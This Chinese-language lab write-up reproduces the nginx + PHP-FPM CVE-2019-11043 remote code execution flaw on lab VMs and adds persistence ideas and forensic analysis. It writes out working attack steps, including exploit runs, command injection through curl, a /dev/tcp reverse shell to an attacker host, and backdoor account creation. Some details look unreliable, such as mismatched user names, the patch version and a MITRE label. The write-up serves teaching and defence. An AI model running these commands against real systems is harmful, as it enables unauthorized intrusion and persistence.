动手实验,复现 nginx 后端 CVE-2019-11043 PHP-FPM 远程代码执行(RCE)漏洞,演示反向隧道持久化、内存取证及网络流量分析。
2019 年 10 月,Debian 安全公告团队的研究人员 Emil Lerner 和 Andrew Danau 发布公告,警告 Debian 社区 PHP-FPM 中存在一个严重漏洞。由于 PHP-FPM 的路径处理代码验证不足,攻击者可以操纵特制请求,在某些 NGINX + PHP-FPM 配置下实现远程任意代码执行。
本实验演示了以下漏洞的利用:
该漏洞影响运行在 NGINX 背后的 PHP-FPM,一旦触发,攻击者即可执行任意代码,并通过反向隧道建立持久化。
本项目重建了一个存在漏洞的环境,执行完整的利用链,并评估攻击者在真实场景中如何通过隧道技术实现持久化。
该攻击链与多项高影响力的 MITRE ATT&CK 技术直接对应:
通过反向隧道实现持久化是 APT 组织、僵尸网络和勒索软件运营商广泛使用的高频 TTP(战术、技术、程序)。PHP-FPM 在生产环境中仍然广泛部署,而 CVE-2019-11043 所利用的错误配置在真实环境中仍时有发生。
这些并非理论上的抽象概念——它们与涉及国家背景行为体和勒索软件团伙的实际攻击活动中记录的行为完全一致。
尽管 CVE-2019-11043 已有数年历史,但由于以下现代安全现实,该漏洞仍然具有相关性:
遗留 PHP 应用仍然无处不在。 许多组织由于长期存在的 Web 应用依赖、技术债务或担心破坏生产系统,继续运行过时的 PHP 5.x/7.x 技术栈。这些环境往往未打补丁且存在漏洞。
NGINX + PHP-FPM 是全球最常见的托管架构之一。 这使得 PHP-FPM 中的漏洞对寻求大型、持久攻击面的攻击者极具吸引力。
反向隧道是现代威胁中的核心持久化技术。 Lazarus、APT29、FIN11 等组织以及大量勒索软件运营商使用反向 SSH 隧道、WebSocket 隧道甚至基于 PHP 的反向 Shell 来维持长期访问,而无需依赖暴露的入站端口。
错误配置仍然是数据泄露的第一大原因。 即使存在补丁,配置错误的 NGINX “location” 块和验证不严的 PATH_INFO 变量仍会使环境暴露于被利用的风险之中。
自动化利用工具包仍在针对该 CVE。 自动化扫描器、僵尸网络和 IoT 恶意软件等工具会例行探测存在漏洞的 PHP-FPM 配置,因为该漏洞能带来可靠的代码执行。
云环境正在扩大攻击面。 安全防护薄弱的容器、共享托管环境以及过时的 Docker 基础镜像通常包含未修补的 PHP-FPM 版本,导致云网络内部快速横向移动。
攻击者喜欢“低垂的果实”。 一个仅需极少技能即可实现远程代码执行 + 隧道持久化的漏洞,始终是高价值目标。
在当今的威胁格局中,持久化访问、隐蔽隧道和供应链弱点主导着网络安全头条,理解并演示 CVE-2019-11043 如何被利用,能够为现代攻击模式和防御缺口提供关键洞察。
本实验的目标是模拟 CVE‑2019‑11043 的真实世界利用,这是一个影响使用特定配置的 nginx 后端 PHP‑FPM 的严重远程代码执行漏洞。目的是分析该漏洞,在受控虚拟环境中复现利用过程,并演示配置错误的 Web 基础设施所带来的风险。
实验中使用了两个虚拟机:两者的用户名均为 username,密码均为 password。
| 角色 | 机器 | IP 地址 | 用途 |
|---|---|---|---|
| 目标 / 受害者 | Ubuntu Server | 192.168.56.102 | 运行 CVE-2019-11043 的易受攻击 PHP-FPM 服务器 |
| 攻击者 | Ubuntu Server | 192.168.56.103 | 执行漏洞利用、反向 Shell 与持久化 |
更新 apt
sudo apt update && sudo apt -y upgrade
创建用于漏洞利用的容器。
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
更新 Apt,并安装基本的 php、python 及更多软件包
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
下载用于利用该 CVE 的工具,并在终端中进入目录以构建利用程序。
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
到这里,环境设置已完成,以下是一些可以首先执行的操作示例。
在一个终端(终端 1)中执行:
nc -lvnp 4444
这是为了设置一个监听通道并启用反向 Shell,在实际实验中该监听应始终保持开启,以支持后续命令的执行。
在另一个终端(终端 2)中执行:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
这应会输出一些行,确认您已成功利用了该漏洞。
最后,再打开一个额外的终端(终端 3)。
您可以立即通过执行以下命令来测试利用程序的功能:
curl "http://192.168.56.102:8080/index.php?a=id"
这会创建一个基于 Web 的远程命令并输出 id 的结果。然而,如下方截图所示,由于内存溢出,该命令有时可能生效、有时可能失效,通常较小的命令更有可能成功执行。
理论上,任何命令都可以在这里执行,只需将命令放在下方命令中标明 HERE 的位置,但完整命令成功执行的概率会有所不同
curl "http://192.168.56.102:8080/index.php?a=HERE"
此命令读取 Shell 内部的内容
http://192.168.56.102:8080/index.php?cmd=ls
在真实世界场景中,威胁行为者会通过以下命令创建一个新账户,并在引号中设置密码为 password
useradd threat
echo "password" | passwd --stdin hacker
该命令用于创建反向 Shell,但这只是一个概念验证,且较难实现,因为 PHP-FPM 会定期终止并重新生成工作进程。
当被破坏的工作进程终止时,注入的 php.ini 修改也随之消失。
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
接下来,攻击者很可能会使用计划任务,本例中使用 CRON,因为服务器运行在 Linux 上,这相当于 Windows 的启动进程。
本实验在受控环境中成功复现了 CVE‑2019‑11043,并演示了配置错误的 nginx + PHP‑FPM 环境如何被远程利用。通过使用存在漏洞的基于正则表达式的 fastcgi_split_path_info 配置,攻击机能够迫使 PHP‑FPM 进入不一致状态,最终实现任意代码执行。此外,还从多个系统的远程服务器中提取了日志文件,并对已知与该漏洞相关的日志进行了分析。
一旦漏洞被触发,攻击者即可在目标上获得远程命令执行能力,并能够以本地用户身份与系统交互。被入侵的 Web 服务器会接受命令、执行命令并返回输出——确认存在一个功能完整的远程 Shell。这证实了当配合存在漏洞的 nginx 路径拆分配置和受影响版本的 PHP‑FPM 时,该 CVE 仍然可以被可靠利用。
环境表现与已记录的漏洞利用行为一致。whoami、id、ls、echo 等命令均成功执行,而更复杂或交互式的命令则体现了被利用的 PHP‑FPM 工作进程的不稳定性——这是该漏洞的已知影响之一。
如前所述,由于该漏洞的不稳定性,有时可利用、有时不可利用,命令有时生效、有时失效,因此建议编写循环命令脚本。
该漏洞利用了一个与内存和缓冲区溢出问题直接相关的 CVE,因此查看主机的内存并使用 Volatility 进行分析非常重要。
在本实验中,我们分析了与该漏洞相关的主要日志、内存和网络捕获数据。
网络捕获显示了主机(host)机器上被尝试执行的命令。这些命令包括命令本身,以及附加在 URL 末尾的多个字符,这些字符随 HTTP GET 命令一起发送到服务器,进而引发内存溢出。
此外,您可以在明文中看到本例中执行的命令——从 Google 图片下载一张快乐狗狗的图片,以及 PHuip GitHub 创建者带有 '幽默文本' 的实际命令。
通过 Volatility 分析并收集到 .json 文件中的内存捕获数据显示,同名进程频繁连续执行多次,表明存在失败和重试。
这是因为内存溢出错误是该漏洞的根本问题。用户可能会像 bash 脚本那样重复执行命令:while true; do curl "command" sleep 0.01,每秒多次执行命令,试图突破并获得远程代码执行。
总体而言,本项目验证了以下几点:
存在漏洞的 nginx 正则表达式足以使 PHP‑FPM 暴露于远程代码执行的风险之下。
PHP‑FPM 8.1(在以此方式配置时)在 CVE‑2019‑11043 条件下仍然可以被利用。
远程攻击者可以获得有效的命令执行能力,从而进行文件操作、数据窃取,甚至权限提升。
反向代理 / FastCGI 配置中的错误配置代表了高影响力的攻击面,尤其是在配合可公开访问的上传端点或 phpinfo() 页面时。
实验结果进一步印证了正确的 FastCGI 配置至关重要,并强调了在生产环境中采用安全默认配置、定期进行配置审计以及最小化暴露诊断端点的必要性。
CVE-2019-11043 的利用演示了 PHP-FPM 和 NGINX 中的单一错误配置如何导致服务器被接管和攻击者的持久访问。
Debian 安全公告团队确认,将 php7.0 升级到 7.0.33 或更高版本即可完全修补该漏洞。
及时修补、加固 NGINX 配置以及监控隧道行为,对于在现代环境中防止类似攻击至关重要。
| MITRE ID | 技术名称 |
|---|
| T1071 | 应用层隧道 |
| T1572 | 协议隧道 |
| T1090 | 代理 / 反向代理 |
| T1505 | 服务端组件(PHP-FPM) |
| T1574 | 劫持执行流 |